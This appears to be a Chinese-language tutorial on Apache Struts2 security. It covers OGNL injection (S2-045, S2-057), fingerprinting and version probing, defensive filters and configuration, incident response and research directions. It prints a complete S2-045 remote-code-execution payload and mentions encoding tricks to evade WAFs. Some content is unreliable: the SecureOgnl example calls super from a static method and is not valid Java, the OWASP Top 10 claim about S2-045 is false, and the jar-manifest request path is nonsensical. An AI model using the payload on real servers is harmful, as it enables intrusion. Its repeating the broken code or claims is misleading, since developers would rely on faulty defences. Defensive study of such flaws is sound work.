1. Struts2框架漏洞概述
Struts2作为Java EE领域广泛使用的MVC框架,自2006年从WebWork分离出来后,因其灵活的拦截器机制和强大的标签库支持,成为企业级Web应用开发的主流选择。然而正是其复杂的设计结构和动态特性,使其成为安全漏洞的高发区。根据Apache官方安全公告统计,Struts2平均每年会曝出2-3个高危远程代码执行漏洞,其中2017年的S2-045漏洞(CVE-2017-5638)更是被列入OWASP年度十大安全风险。
这些漏洞主要源于框架对用户输入的过度信任和异常处理机制的缺陷。Struts2的核心安全模型依赖于OGNL(Object-Graph Navigation Language)表达式解析,当攻击者精心构造的OGNL表达式通过特定参数传入时,框架会在未充分过滤的情况下执行这些表达式,导致服务器端任意代码执行。这种漏洞模式在S2-001、S2-005、S2-016等经典漏洞中反复出现,形成了Struts2特有的漏洞家族特征。
2. 高危漏洞类型深度解析
2.1 OGNL注入类漏洞
以S2-045为例,其漏洞根源在于文件上传组件对Content-Type头部的异常处理。当框架处理异常时会将错误信息通过OGNL表达式解析,攻击者通过在Content-Type中注入OGNL表达式,即可实现远程代码执行。典型攻击payload如下:
code复制Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
这种攻击之所以危险,在于它完全绕过了常规的输入过滤机制。框架在处理文件上传时,首先会检查文件内容,但对Content-Type这类协议头部的检查却存在盲区。更关键的是,异常处理流程中OGNL解析器的上下文环境(MemberAccess)被设置为允许执行静态方法和构造函数调用,为攻击者提供了完整的代码执行能力。
2.2 动态方法调用漏洞
S2-057(CVE-2018-11776)展示了另一种攻击模式。当开发者配置action时未指定namespace或使用通配符映射,攻击者可以通过精心构造的URL触发框架的动态方法调用功能。例如:
code复制http://example.com/${(111+111)}/action
框架在解析URL时会先计算${}内的OGNL表达式,再将结果作为namespace路径处理。这种二次解析的特性使得看似无害的URL参数成为代码执行的入口点。
漏洞的本质在于Struts2的"alwaysSelectFullNamespace"机制缺陷。当该选项为false时(默认值),框架会从URL路径中截取最后一个"/"之前的内容作为namespace。攻击者通过注入包含OGNL表达式的路径片段,使得表达式在namespace解析阶段就被执行。
3. 漏洞检测技术剖析
3.1 指纹识别阶段
准确识别Struts2应用是检测的前提。除了常规的HTTP响应头(如X-Struts-Version)和静态资源特征(/struts/utils.js)外,更可靠的方式是通过OGNL表达式探测。例如发送包含${1+1}的参数,如果响应中包含"2"则确认框架存在:
code复制GET /index.action?test=${1+1} HTTP/1.1
Host: target.com
这种检测方法的优势在于不受版本号伪造的影响,直接验证框架的核心功能特性。但需要注意现代WAF通常会拦截这类简单测试,需要配合编码变形等技术绕过防护。
3.2 版本特异性检测
不同版本的Struts2存在不同的漏洞组合,精确识别版本可大幅提高检测效率。通过分析struts-core.jar中的META-INF/MANIFEST.MF文件可以获取准确版本信息:
code复制GET /struts2-core.jar!/META-INF/MANIFEST.MF HTTP/1.1
Host: target.com
当无法直接获取jar文件时,可通过特定漏洞的兼容性测试进行版本范围判定。例如S2-032(CVE-2016-3081)仅影响2.3.20-2.3.28版本,若该漏洞检测为阳性则可锁定版本范围。
4. 防御体系构建实践
4.1 输入过滤策略
传统的黑名单过滤(如拦截#、$等特殊字符)在Struts2环境下效果有限,因为OGNL表达式可以通过多种编码方式绕过。更有效的方案是:
- 实现参数白名单验证:
java复制public class StrictParameterFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
for (String param : req.getParameterMap().keySet()) {
if (!param.matches("[a-zA-Z0-9_]+")) {
throw new ServletException("Invalid parameter name");
}
}
chain.doFilter(request, response);
}
}
- 在struts.xml中全局禁用动态方法调用:
xml复制<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/>
4.2 运行时防护方案
基于RASP(Runtime Application Self-Protection)技术的防护方案能在框架层面阻断攻击:
- OGNL解析钩子:通过Java Agent技术重写OGNL解析器,在执行前检查表达式内容
java复制public class SecureOgnl extends Ognl {
public static Object parseExpression(String expression) throws OgnlException {
if (expression.contains("@java.lang.Runtime")) {
throw new OgnlException("Dangerous OGNL expression blocked");
}
return super.parseExpression(expression);
}
}
- 类加载器监控:禁止加载来自可疑路径的.class文件,防范反序列化攻击
5. 企业级应急响应流程
当Struts2漏洞被公开后,安全团队应按以下优先级行动:
-
影响评估阶段(0-2小时):
- 通过资产管理系统定位所有Struts2应用
- 使用Nmap脚本扫描确认暴露在公网的系统
bash复制
nmap -sV --script=http-struts2-scan.nse -p80,443 target.com -
临时防护阶段(2-4小时):
- 在WAF上部署特征规则拦截已知攻击payload
- 对关键系统实施网络隔离
-
补丁验证阶段(4-8小时):
- 在测试环境验证补丁兼容性
- 使用自动化测试工具验证漏洞修复效果
java复制public class StrutsPatchTest { @Test public void testS2045Fix() { String payload = "%{(#_='multipart/form-data')...}"; HttpResponse response = sendRequestWithContentType(payload); assertFalse(response.getBody().contains("root")); } } -
长期监控阶段(持续):
- 部署行为分析系统检测异常OGNL执行
- 建立第三方组件漏洞订阅机制
6. 漏洞研究进阶方向
对于希望深入Struts2安全研究的人员,建议从以下角度切入:
-
框架源码分析重点:
- DefaultActionInvocation类的invoke()方法调用链
- OgnlValueStack的findValue()表达式解析过程
- TextParseUtil的translateVariables()变量替换逻辑
-
漏洞挖掘方法论:
- 跟踪ParametersInterceptor的参数处理流程
- 分析XWork的getParameter()方法调用树
- 监控OGNL上下文的变化过程
-
沙箱逃逸技术:
- 通过SecurityMemberAccess绕过方法调用限制
- 利用BeanInfo缓存污染修改属性访问控制
- 借助TypeConverter机制执行类型混淆攻击
通过系统性地分析框架架构与安全边界的冲突点,研究者可以预测未来可能出现的漏洞模式,提前构建防御方案。这种"攻击者思维"的安全研究方式,对提升整体防御水平具有重要价值。
